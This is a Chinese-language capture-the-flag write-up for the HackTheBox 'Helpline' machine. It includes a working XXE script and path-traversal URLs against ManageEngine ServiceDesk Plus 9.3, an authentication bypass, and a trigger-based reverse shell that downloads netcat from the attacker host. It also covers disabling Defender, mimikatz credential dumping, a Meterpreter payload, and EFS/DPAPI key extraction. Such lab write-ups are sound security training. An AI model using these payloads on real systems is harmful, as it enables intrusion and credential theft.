Helpline是一个困难的靶机,知识点涉及EFS解密和ME SDP的多个漏洞,包括XXE漏洞、LFI\任意文件下载漏洞、身份认证绕过漏洞以及远程代码执行漏洞等。感兴趣的同学可以在HackTheBox中进行学习。
通关思维导图
0x01 侦查
端口探测
首先使用nmap进行端口扫描
nmap -Pn -p- -sV -sC -A 10.10.10.132 -oA nmap_Helpline
扫描结果显示目前靶机开放了135、445、5985、8080以及49667端口
445端口
使用 smbclient 和 smbmap 查看默认共享,结果显示访问被拒绝
smbclient -N -L //10.10.10.132
smbmap -H 10.10.10.132 -v
8080端口
访问后是一个 ManageEngine ServiceDesk Plus 站点,版本为 9.3
在 ManageEngine ServiceDesk Plus 存在两个默认账户
administrator/administrator
guest/guest
administrator无法登陆,尝试登陆 guest 账户可成功进入应用,
在Solution
选项卡中可以看到Password Audit
点进去后发现存在一个 excel 表格
下载打开后只有三个表
通过 binwalk 分解该表格发现其中其实存在四张表,说明原来有一张表被隐藏了
binwalk -e Password+Audit.xlsx
选择工作表右键,点击取消隐藏发现Password Data
工作表
在该表格中包含一些密码和文件路径C:\temp\Password Audit\it_logins.txt
,在路径对应的文件中可能包含一些登录信息
0x02 上线[system]
ME SDP 漏洞
ManageEngine ServiceDesk Plus 的9.3版本存在许多漏洞,下面将利用这些漏洞来对该应用进行攻击
XXE漏洞(CVE-2017-9362)
在 CMDB API 中的 INPUT_DATA 字段中添加 CI 时会造成 XML 外部实体注入攻击,攻击者可在发送数据时将任何系统文件包含到 payload 当中,根据该漏洞可编写脚本如下:
import requests
import sys
xxe = """<!DOCTYPE foo [<!ENTITY xxe15d41 SYSTEM "file:///{filepath}"> ]><API version='1.0' locale='en'>
<records>
<record>
<parameter>
<name>CI Name</name>
<value>Tomcat Server 3 0xdfstart&xxe15d41;0xdfstop</value>
</parameter>
</record>
</records>
</API>
"""
def get_file(ip_address, filepath):
login_url = "http://"+ip_address+":8080/j_security_check"
api_url = "http://"+ip_address+":8080/api/cmdb/ci"
login_data={"j_username": "guest", "j_password": "guest", "LDAPEnable": "false", "hidden": "Select a Domain", "hidden": "For Domain", "AdEnable": "false", "DomainCount": "0", "LocalAuth": "No", "LocalAuthWithDomain": "No", "dynamicUserAddition_status": "true", "localAuthEnable": "true", "logonDomainName": "-1", "loginButton": "Login", "checkbox": "checkbox"}
with requests.Session() as s:
s.post(login_url, data=login_data)
xxe_data={"OPERATION_NAME": "add", "INPUT_DATA": xxe.format(filepath=filepath)}
response = s.post(api_url, data=xxe_data)
try:
print(response.text[response.text.index("0xdfstart") + len("0xdfstart"):response.text.index("0xdfstop")].replace("\\r\\n","\n"))
except ValueError:
print("Error: No data returned")
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} [ip] [filepath]\nfilepath can be file on target, or smb or http uri")
sys.exit(1)
get_file(sys.argv[1],sys.argv[2].replace("\\", "/"))
尝试获取win.ini
,能够成功读取win.ini
python3 xxe.py 10.10.10.132 "C:\windows\win.ini"
尝试读取以上的密码文件中的密码
python3 xxe.py 10.10.10.132 "C:\temp\Password Audit\it_logins.txt"
成功拿到账号密码为alice/$sys4ops@megabank!
任意文件下载(CVE-2017-11511)
除了XXE漏洞以外,ME SDP 9.3由于对下载文件的URL路径名限制不当,因此还存在任意文件下载漏洞。攻击者可通过..\
进行目录穿越下载目标文件。与请求C盘的 win.ini 不同,在报错信息中则显示 ME SDP 安装在E盘。尝试获取其备份文件的日志信息,默认访问路径为E:\ManageEngine\ServiceDesk\bin\SDPbackup.log
http://10.10.10.132:8080/fosagent/repl/download-file?basedir=4&filepath=\..\..\..\..\..\..\manageengine\servicedesk\bin\sdpbackup.log
在日志中记录了组成数据库备份文件的具体位置,文件名分别如下:
backup_postgres_9309_fullbackup_04_12_2019_17_43_part_1.data
backup_postgres_9309_fullbackup_04_12_2019_17_43_part_2.data
使用 wget 通过任意文件下载漏洞把它们下载下来
wget "http://10.10.10.132:8080/fosagent/repl/download-file?basedir=4&filepath=\..\..\..\..\..\..\manageengine\servicedesk\backup\backup_postgres_9309_fullbackup_03_08_2019_09_04\backup_postgres_9309_fullbackup_03_08_2019_09_04_part_1.data"
wget "http://10.10.10.132:8080/fosagent/repl/download-file?basedir=4&filepath=\..\..\..\..\..\..\manageengine\servicedesk\backup\backup_postgres_9309_fullbackup_03_08_2019_09_04\backup_postgres_9309_fullbackup_03_08_2019_09_04_part_2.data"
解压下载后发现其中包含许多 SQL 文件
unzip backup_postgres_9309_fullbackup_03_08_2019_09_04_part_1.data
unzip backup_postgres_9309_fullbackup_03_08_2019_09_04_part_2.data
在aaapassword.sql
和aaalogin.sql
中存在我们需要的账户名以及哈希值
经过整理后哈希值如下且哈希类型为bcrypt
$2a$12$6VGARvoc/dRcRxOckr6WmucFnKFfxdbEMcJvQdJaS5beNK0ci0laG
$2a$12$2WVZ7E/MbRgTqdkWCOrJP.qWCHcsa37pnlK.0OyHKfd4lyDweMtki
$2a$12$Em8etmNxTinGuub6rFdSwubakrWy9BEskUgq4uelRqAfAXIUpZrmm
$2a$12$hmG6bvLokc9jNMYqoCpw2Op5ji7CWeBssq1xeCmU.ln/yh0OBPuDa
$2a$12$6sw6V2qSWANP.QxLarjHKOn3tntRUthhCrwt7NWleMIcIN24Clyyu
$2a$12$X2lV6Bm7MQomIunT5C651.PiqAq6IyATiYssprUbNgX3vJkxNCCDa
$2a$12$gFZpYK8alTDXHPaFlK51XeBCxnvqSShZ5IO/T5GGliBGfAOxwHtHu
$2a$12$4.iNcgnAd8Kyy7q/mgkTFuI14KDBEpMhY/RyzCE4TEMsvd.B9jHuy
bcrypt 函数的输入是密码字符串(最多 72 个字节)、一个数字成本和一个 16 字节(128 位)的盐值。盐通常是一个随机值。它使用这些输入来计算 24 字节(192 位)散列。最终输出以下形式的字符串:
$2<a/b/x/y>$[cost]$[22 字符盐][31 字符哈希]
例如:输入密码abc123xyz、成本12和随机盐,bcrypt 的输出是字符串
$2a$12$R9h/cIPz0gi.URNNX3kh2OPST9/PgBkqquzi.Ss7KIUgO2t0jWMUW
\__/\/ \____________________/\_____________________________/
Alg 成本盐哈希
幸运的是,我们可以使用 hashcat 进行破解
hashcat -m 3200 hashes /usr/share/wordlists/rockyou.txt --force
最终成功破解后三个密码,与用户名组合后整理如下:
zachary_33258/0987654321
fiona/1q2w3e4r
mary/1234567890
身份验证绕过
除了通过 guest 账户登录应用外,我们还可以通过/mc
目录来绕过 administrator 的登录验证。
首先访问/mc
目录并注销已经登陆的 guest 账户
输入账号密码均为 administrator,其实密码任意输入也没关系,但用户名不能发生变化
成功登录目标系统
在 0xdf 大神的博客中讲述多条线路进行突破,分别是在 kali 下运用 administrator 账户获取 system 权限以及在 Windows 下使用之前获取的 Alice 用户通过 WinRM 进行权限提升,相比 Windows 下的操作,我更喜欢使用 kali 来完成
远程命令执行
通过权限绕过我们已经拿到了管理员用户,在Admin
管理模块上存在Custom Triggers
远程命令执行漏洞
点击Add New Action
设置新的触发器
在Action
中设置触发器脚本,将触发优先级设置为高并设置用于反弹shell的脚本命令
cmd /c powershell iwr -uri 10.10.14.4/nc64.exe -outfile c:\windows\system32\spool\drivers\color\nc.exe; c:\windows\system32\spool\drivers\color\nc.exe -e cmd.exe 10.10.14.4 443
保存完成后在本地监听 443 端口
nc -nvlp 443
与此同时开启 http 服务
python -m Simple HTTPServer 80
在请求页面中新建请求并将优先级设置为高
请求运行后查看本地监听发现已返回 system 权限
0x03 突破EFS
Windows 上的加密文件系统( EFS )是NTFS 3.0 版中引入的一项功能,可提供文件系统级加密。该技术使文件能够被透明地加密,以保护机密数据免受对计算机进行物理访问的攻击者的侵害。
EFS 加密解密都是透明完成, 如果用户加密了一些数据, 那么其对这些数据的访问将是完全允许的, 并不会受到任何限制。而其他非授权用户试图访问加密过的数据时, 就会收到“拒绝访问”的错误提示。
与一般的加密软件不同,EFS加密不是靠双击文件,然后弹出一个对话框,然后输入正确的密码来确认的用户的。EFS加密的用户确认工作在登录到 Windows 时就已经进行了,不需要提供额外的密码。只有使用适当的账户登录,才能打开相应的加密文件。所以解密 EFS 的核心就是如何获取到对应用户的身份凭证。
用户进程突破EFS
日志信息收集
虽然拿到了系统权限,但是flag都经过 EFS 加密,因此导致我们无法读取。
type c:\Users\Administrator\Desktop\root.txt
尝试上传 mimikatz 进行密码破解,但是无法执行
cd c:\windows\system32\spool\drivers\color\
powershell iwr -uri 10.10.14.4/mimikatz.exe -outfile m.exe
.\m.exe
这是因为它已经被 Windows Defender 所隔离,我们可以制作免杀mimikatz或禁用 Windows Defender,在这里我选择了后者。(话说免杀 mimikatz 也不难,有手就行)
powershell Set-MpPreference -DisableRealtimeMonitoring $true
powershell iwr -uri 10.10.14.4/mimikatz.exe -outfile m.exe
.\m.exe
继续运行它获取密码,但是结果还是显示报错
privilege::debug
sekurlsa::logonpasswords
这个问题已经在 GitHub 中得到了反馈,解决方法是我们需要一个老版本的猕猴桃来完成上传
powershell iwr -uri 10.10.14.4/mimikatz2.exe -outfile m2.exe
.\m.exe
下载一个老版本 mimikatz 并运行
privilege::debug
lsadump::sam
通过整理后发现以下用户及其对应的 NTLM 哈希值
Administrator
Guest
alice
zachary
leo
niels
tolu
其中唯一可以破解成功的是zachary/0987654321
,但是该用户并非管理员权限
net user zachary
继续查询发现该用户位于日志权限读取组中,据此推测日志中可能会会有存密码,尝试查询日志
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321 > eventlog.txt
type eventlog.txt | findstr tolu
在日志中发现泄漏的账号密码为tolu/!zaq1234567890pl!99
,同时该用户还是管理员权限
日志文件中出现用户名和密码。这就说明该用户可能已经登陆,借助 MSF 可注入该用户进程
MSF进程注入
使用 msfvenom 生成 exe 类型木马
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.14.4 lport=4444 -f exe -o msf.exe
在本地开启 smb 共享并设置账号密码
python3 smbserver.py -smb2support -username mac -password mac share /root/hackthebox/Machines/Helpline
在本地设置 msf 监听
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 10.10.14.4; set lport 4444; exploit -j;"
通过 smb 共享来运行该执行程序
net use \\10.10.14.4\share /u:mac mac
\\10.10.14.4\share\msf.exe
成功收到 meterpreter 会话,查看进程
meterpreter > ps
但是其中只发现了leo
的进程,并没有发现tolu
的进程,难道又是哪出现了问题?所幸查询了leo
用户权限后发现leo
也是管理员权限,话不多说直接注入该用户的explorer.exe
进程
meterpreter > migrate 4584
在该用户桌面上发现密码文件admin-passs.xml
,根据文件名猜测可能是 administrator 的密码
meterpreter > load_powershell
meterpreter > powershell_shell
PS > cd C:\Users\leo\Desktop
PS > ls
但是密码显示为密文,我们尝试通过 poweshell 将其转换为 administrator 的登陆凭证
PS > type admin-pass.xml
PS > $s = cat admin-pass.xml
PS > $ss = Convertto-securestring -string $s
PS > $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist "administrator", $ss
PS > $cred.GetNetWorkCredential().password
成功读取到密码为mb@letmein@SERVER#acc
,既然有了 administrator 的凭证,尝试读取其桌面下的root.txt
,但还是显示报错
PS > Invoke-Command -ScriptBlock { whoami } -Credential $cred -Computer localhost
PS > Invoke-Command -ScriptBlock { type C:\Users\Administrator\Desktop\root.txt } -Credential $cred -Computer localhost
通过-auth CredSSP
来进行认证,从而绕过 EFS 并成功读取到flag
PS > Invoke-Command -ScriptBlock { type C:\users\administrator\desktop\root.txt } -Credential $cred -Computer localhost -auth credssp
证书解密EFS
揭秘EFS指南:https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
解密 EFS 文件可根据 mimikatz 中的指南来进行操作。根据指南我们首先需要获取用户的公钥证书以及对应密钥,证书地址位于用户目录的AppData\Roaming\Microsoft\SystemCertificates\My\Certificates
,使用 mimikatz 可获取公钥证书信息并保存为 der 文件,同时可发现对应密钥的容器;密钥地址位于用户目录的AppData\Roaming\Microsoft\Crypto\RSA
,使用 mimikatz 可获取私钥信息并从中找到生成该密钥的主密钥名;主密钥位于用户目录的\Users\Administrator\AppData\Roaming\Microsoft\Protect\
,以发现密钥容器ID为路径可在其中找到用于生成以上密钥的主密钥;使用 mimikatz 借助 administrator 账户的密码解密主密钥,生成的 key 以及 sha1 就是主密钥的值;之后使用 mimikatz 封装私钥为 pvk 文件,将作为公钥的 der 文件和作为私钥的 pvk 文件传入本地,在本地使用 openssl 转换为 pem 格式并最终生成 pfx 文件,将 pfx 安装至靶机当中即可获取到对应的权限,从而完成 EFS 解密
读取root.txt
切换到 system 用户寻找 administrator 用户的公钥证书,在目标路径下拿到公钥为FB154575993A250FE826DBAC79EF26C211CB77B3
cd C:\Users\administrator\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates
dir /a /b
使用 mimikatz 可获取证书信息并保存,同时发现密钥的容器为3dd3e213-bce6-4acb-808c-a1b3227ecbde
,但是一般情况下容器ID并不会指向密钥
crypto::system /file:"C:\Users\Administrator\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\FB154575993A250FE826DBAC79EF26C211CB77B3" /export
在目录C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA
中尝试获取私钥,发现一个容器ID为S-1-5-21-3107372852-1132949149-763516304-500
,其中可能存放着私钥文件
cd C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA
dir /a /b
继续探索发现隐藏的密钥文件d1775a874937ca4b3cd9b8e334588333_86f90bf3-9d4c-47b0-bc79-380521b14c85
cd S-1-5-21-3107372852-1132949149-763516304-500
dir /a /b
使用 mimikatz 查看对应的私钥,该私钥由主密钥9e78687d-d881-4ccb-8bd8-bc0a19608687
生成
dpapi::capi /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-500\d1775a874937ca4b3cd9b8e334588333_86f90bf3-9d4c-47b0-bc79-380521b14c85"
根据目录C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\
和获取到的容器S-1-5-21-3107372852-1132949149-763516304-500
找到加密的主密钥9e78687d-d881-4ccb-8bd8-bc0a19608687
cd C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-3107372852-1132949149-763516304-500
dir /a
使用 mimikatz 通过 administrator 的密码来解密主密钥9e78687d-d881-4ccb-8bd8-bc0a19608687
,解密成功后生成的 key、sha1 就是主密钥的值
dpapi::masterkey /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-3107372852-1132949149-763516304-500\9e78687d-d881-4ccb-8bd8-bc0a19608687" /password:mb@letmein@SERVER#acc
使用 mimikatz 将私钥封装为 pvk 文件
dpapi::capi /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-500\d1775a874937ca4b3cd9b8e334588333_86f90bf3-9d4c-47b0-bc79-380521b14c85"
将私钥生成的 pvk 与公钥生成的 der 文件通过 smb 共享复制到本地
net use \\10.10.14.4\share /u:mac mac
copy \windows\system32\spool\drivers\color\raw_exchange_capi_0_3dd3e213-bce6-4acb-808c-a1b3227ecbde.pvk \\10.10.14.4\share\
copy \windows\system32\spool\drivers\color\FB154575993A250FE826DBAC79EF26C211CB77B3.der \\10.10.14.4\share\
利用 openssl 将拿到的 pvk 以及 der 导出为 pem 格式,通过它们生成 pfx 文件,里面存储了 adminisrator 的私钥以及与之有关的证书链
openssl x509 -inform DER -outform PEM -in FB154575993A250FE826DBAC79EF26C211CB77B3.der -out public.pem
openssl rsa -inform PVK -outform PEM -in raw_exchange_capi_0_3dd3e213-bce6-4acb-808c-a1b3227ecbde.pvk -out private.pem
openssl pkcs12 -in public.pem -inkey private.pem -password pass:mac -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
通过 smb 共享将生成的 pfx 文件放回靶机当中并安装
copy \\10.10.14.4\share\cert.pfx \windows\system32\spool\drivers\color\cert.pfx
certutil -user -p mac -importpfx \windows\system32\spool\drivers\color\cert.pfx NoChain,NoRoot
安装完成后即可读取root.txt
type c:\\users\administrator\desktop\root.txt
读取user.txt
在 tolu 用户的桌面上我们可以发现 user.txt
dir c:\Users\tolu\Desktop /b
同理我们需要解密 tolu 用户的 EFS,首先需要获取公钥证书
dir C:\Users\tolu\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates /a /b
在 mimikatz 中寻找证书信息并导出
crypto::system /file:"C:\Users\tolu\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\91EF5D08D1F7C60AA0E4CEE73E050639A669\2\F29" /export
在目录C:\Users\tolu\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-1011
找到密钥容器307da0c2172e73b4af3e45a97ef0755b_86f90bf3-9d4c-47b0-bc79-380521b14c85
dir C:\Users\tolu\AppData\Roaming\Microsoft\Crypto\RSA\ /a /b
dir C:\Users\tolu\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-1011 /a /b
使用 mimikatz 查看对应的私钥,该私钥由主密钥2f452fc5-c6d2-4706-a4f7-1cd6b891c017
生成
dpapi::capi /in:"C:\Users\tolu\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-1011\307da0c2172e73b4af3e45a97ef0755b_86f90bf3-9d4c-47b0-bc79-380521b14c85"
使用 mimikatz 通过 tolu 的密码来解密主密钥2f452fc5-c6d2-4706-a4f7-1cd6b891c017
,解密成功后生成的 key、sha1 就是主密钥的值
dpapi::masterkey /in:"C:\Users\tolu\AppData\Roaming\Microsoft\Protect\S-1-5-21-3107372852-1132949149-763516304-1011\2f452fc5-c6d2-4706-a4f7-1cd6b891c017" /password:!zaq1234567890pl!99
使用 mimikatz 将私钥封装为 pvk 文件
dpapi::capi /in:"C:\Users\tolu\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-1011\307da0c2172e73b4af3e45a97ef0755b_86f90bf3-9d4c-47b0-bc79-380521b14c85"
将私钥生成的 pvk 与公钥生成的 der 文件通过 smb 共享复制到本地
copy \windows\system32\spool\drivers\color\raw_exchange_capi_0_e65e6804-f9cd-4a35-b3c9-c3a72a162e4d.pvk \\10.10.14.4\share\
copy \windows\system32\spool\drivers\color\91EF5D08D1F7C60AA0E4CEE73E050639A669\2\F29.der \\10.10.14.4\share\
利用 openssl 将拿到的 pvk 以及 der 导出为 pem 格式,通过它们生成 pfx 文件,里面存储了 tolu 的私钥以及与之有关的证书链
openssl x509 -inform DER -outform PEM -in 91EF5D08D1F7C60AA0E4CEE73E050639A669\2\F29.der -out public-1.pem
openssl rsa -inform PVK -outform PEM -in raw_exchange_capi_0_e65e6804-f9cd-4a35-b3c9-c3a72a162e4d.pvk -out private-1.pem
openssl pkcs12 -in public-1.pem -inkey private-1.pem -password pass:mac -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert-1.pfx
通过 smb 共享将生成的 pfx 文件放回靶机当中并安装
copy \\10.10.14.4\share\cert-1.pfx \windows\system32\spool\drivers\color\cert-1.pfx
certutil -user -p mac -importpfx \windows\system32\spool\drivers\color\cert-1.pfx NoChain,NoRoot
安装完成后可成功读取user.txt
type c:\\users\tolu\desktop\user.txt
总结:ME SDP存在默认用户guest,通过该用户找到excel文件并从中发现服务器中存在的密码文件路径。由于9.3版本下的 ME SDP 存在多个漏洞,可尝试进行利用获取到更多的信息,首先使用 XXE 可读取到以上密码文件的信息;其次使用任意文件下载漏洞下载对应的备份文件,在其中的SQL文件中发现多个账号密码,通过hashcat解密后成功拿到三个用户密码;然后使用身份认证绕过漏洞将guest用户提至administrator;最后在管理员权限下进入控制面板设置触发器,成功拿到反弹shell。进入靶机后发现当前权限为system,但是因为 EFS 的原因无法直接读取flag。存在两种方式可突破EFS限制,一是注入管理员进程,找到admin-pass.xml,利用其中泄漏的 administrator 密码作为管理员用户凭证,从而读取flag;二是解密EFS,按照mimikatz解密EFS指南获取目标用户的公钥、私钥,制作成 pfx 来作为用户凭证,从而能够突破不同用户的EFS限制。